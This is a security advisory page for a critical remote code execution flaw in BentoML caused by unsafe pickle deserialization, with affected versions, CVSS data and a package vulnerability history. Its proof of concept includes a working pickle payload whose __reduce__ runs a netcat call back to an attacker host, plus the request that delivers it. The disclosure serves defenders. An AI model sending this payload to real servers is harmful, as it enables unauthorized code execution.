Critical

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

  • Disclosed: 04.04.2025
  • Updated: 11.10.2026 15:17

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py:

python
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
    • IP: 10.98.36.123
    • OS: Ubuntu
  • Attack host:
    • IP: 10.98.36.121
    • OS: Ubuntu
  1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

python
from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

bash
pip install torch transformers  # additional dependencies for local run

bentoml serve
  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

python
import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) bentoml >= 1.3.4, < 1.4.3 1.4.3

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
bentoml
Disclosed
04.04.2025
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-294 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-33xw-247w-6hmc - CC BY 4.0

Vulnerability history: bentoml

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (17) in the archive
Total entries
17
First → latest
04.2024 07.2026
Without a fix
5
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 10
  • Medium 2

Disclosures per year

  1. 2024: 1
  2. 2025: 7
  3. 2026: 9
Severity:
  1. High · 8.8 CVE-2026-35044 < 1.4.38 1.4.38
  2. High · 7.8 CVE-2026-35043 < 1.4.38 1.4.38
  3. High · 7.4 CVE-2026-24123 < 1.4.34 1.4.34
  4. Critical · 9.9 CVE-2025-54381 >= 1.4.0, < 1.4.19 1.4.19
  5. BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization this entry
    Critical · 9.8 CVE-2025-27520 >= 1.3.4, < 1.4.3 1.4.3
  6. High · 7.5 CVE-2024-9056 <= 1.4.5 no fix
  7. Critical · 9.8 CVE-2024-9070 <= 1.4.5 no fix
  8. High · 7.5 ghsa-hh3j-9m59-p8vc <= 1.3.9 no fix
  9. Critical · 9.8 CVE-2024-2912 < 1.2.5 1.2.5

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.